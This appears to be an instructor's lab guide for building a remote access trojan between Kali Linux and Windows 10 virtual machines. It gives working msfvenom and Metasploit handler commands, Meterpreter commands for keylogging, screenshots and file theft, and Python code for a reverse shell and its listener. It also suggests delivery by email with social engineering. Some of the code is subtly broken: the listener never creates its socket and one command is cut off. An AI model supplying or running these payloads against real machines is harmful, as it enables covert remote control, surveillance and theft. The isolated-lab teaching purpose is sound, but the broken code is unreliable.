Prerequisites:

1. Virtualization Software: Use tools like VirtualBox or VMware to set up virtual machines
(VMs).

2. Operating Systems:

o Kali Linux (or other pen-testing distributions) for the attacker machine.

o Windows 10 (or similar) for the victim machine.

3. Networking: Set up virtual network isolation to ensure the machines are not connected to
the real network (i.e., use "Internal Network" in VirtualBox).

4. Tools:

o Metasploit Framework for easier RAT creation and payload generation.

o Wireshark for traffic monitoring.

o Python (optional) for custom RAT development.

Step-by-Step Guide to Creating a RAT:

Step 1: Set Up Virtual Environment

1. Create Virtual Machines:

o Attacker Machine (Kali Linux): Install Kali Linux on one VM.

o Victim Machine (Windows 10): Install Windows 10 on a second VM.

2. Network Configuration:

o Configure both VMs to use an internal network so they can communicate only with
each other, isolated from the internet.

o Assign static IP addresses to both VMs to make communication easier (e.g.,

Step 2: Understand RAT Mechanism

 RAT Overview: A RAT is a type of malware that enables an attacker to remotely control a
victim machine, execute commands, access files, and capture information like keystrokes,
webcam images, etc. A RAT typically works in a client-server architecture:

o Server (Victim): The malicious payload executed on the victim's machine.

o Client (Attacker): The software or terminal where the attacker controls the victim’s
machine.

Step 3: Use Metasploit to Create a RAT Payload (For Simplicity)

1. Install Metasploit on the Attacker Machine (Kali Linux):

o Kali Linux comes preinstalled with Metasploit. If not, run:

sudo apt-get update

sudo apt-get install metasploit-framework

2. Generate a Meterpreter Payload:

o Open the Metasploit Framework:

msfconsole

o Use the following msfvenom command to generate a malicious payload for

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe >

 LHOST: Attacker's IP (IP of the Kali VM).

 LPORT: Port number to listen on (choose an open port, e.g., 4444).

 -f exe: Format the payload as a Windows executable.

3. Set Up the Metasploit Listener:

o Back in msfconsole, set up the listener to wait for the victim's connection.

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 10.0.0.1 # Attacker IP

set LPORT 4444 # Port to listen on

run

4. Transfer the Payload to the Victim:

o Transfer the payload (rat_payload.exe) to the victim machine using any method:

 Email attachment (use social engineering techniques).

 USB drive (manual transfer).

 File sharing (if available within the isolated network).

5. Run the Payload on the Victim Machine:

o When the victim runs rat_payload.exe on their machine, it will attempt to establish
a reverse connection to the attacker's listener.
Step 4: Interact with the Victim Machine

1. Session Establishment:

o Once the victim runs the payload, the attacker will get a Meterpreter session.

o You can check active sessions in Metasploit by running:

sessions

o To interact with the session:

sessions -i 1

2. Commands You Can Run:

o sysinfo: Get information about the victim's system (OS, architecture, etc.).

o screenshot: Take a screenshot of the victim’s screen.

o keyscan_start: Start capturing keystrokes.

o download <file>: Download a file from the victim’s machine.

o upload <file>: Upload a file to the victim’s machine.

o shell: Open a command shell to run arbitrary commands on the victim machine.

o exit: Terminate the Meterpreter session.

Step 5: Monitor Network Traffic (Optional but Recommended)

Use Wireshark to monitor the network traffic between the attacker and victim. This allows
students to:

 See the payload being transferred.

 Observe how data is transmitted back and forth between the attacker and the victim.

 Understand how to detect malicious traffic in a network.

Step 6: Build a Simple RAT with Python (For Advanced Students)

If you want students to understand how RATs work at a deeper level, you can show them how to
create a simple Python RAT. Here's a basic example:

1. Create a Listener (Attacker's Side):

import socket

server_ip = "10.0.0.1" # Attacker IP

server_port = 4444 # Port to listen on

s.bind((server_ip, server_port))

s.listen(1)

print(f"Listening on {server_ip}:{server_port}...")

client_socket, client_address = s.accept()

print(f"Connection from {client_address}")

while True:

command = input("Shell> ")

if command.lower() == "exit":

client_socket.send(b'quit')

break

client_socket.send(command.encode())

output = client_socket.recv(1024)

print(output.decode())

client_socket.close()

2. Create the Reverse Shell (Victim's Side):

import socket

import subprocess

import os

server_ip = "10.0.0.1" # Attacker IP

server_port = 4444 # Port number

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((server_ip, server_port))
while True:

command = s.recv(1024).decode()

if command.lower() == "quit":

break

elif command.startswith("cd"):

try:

os.chdir(command[3:])

s.send(b"Changed directory")

except FileNotFoundError:

s.send(b"Directory not found")

else:

output = subprocess.run(command, shell=True, capture_output=True)

s.send(output.stdout + output.stderr)

s.close()

3. Testing the Python RAT:

o Run the listener script on the attacker's machine (Kali VM).

o On the victim's machine (Windows VM), run the reverse shell script.

o The attacker can control the victim machine by typing commands into the listener’s
terminal.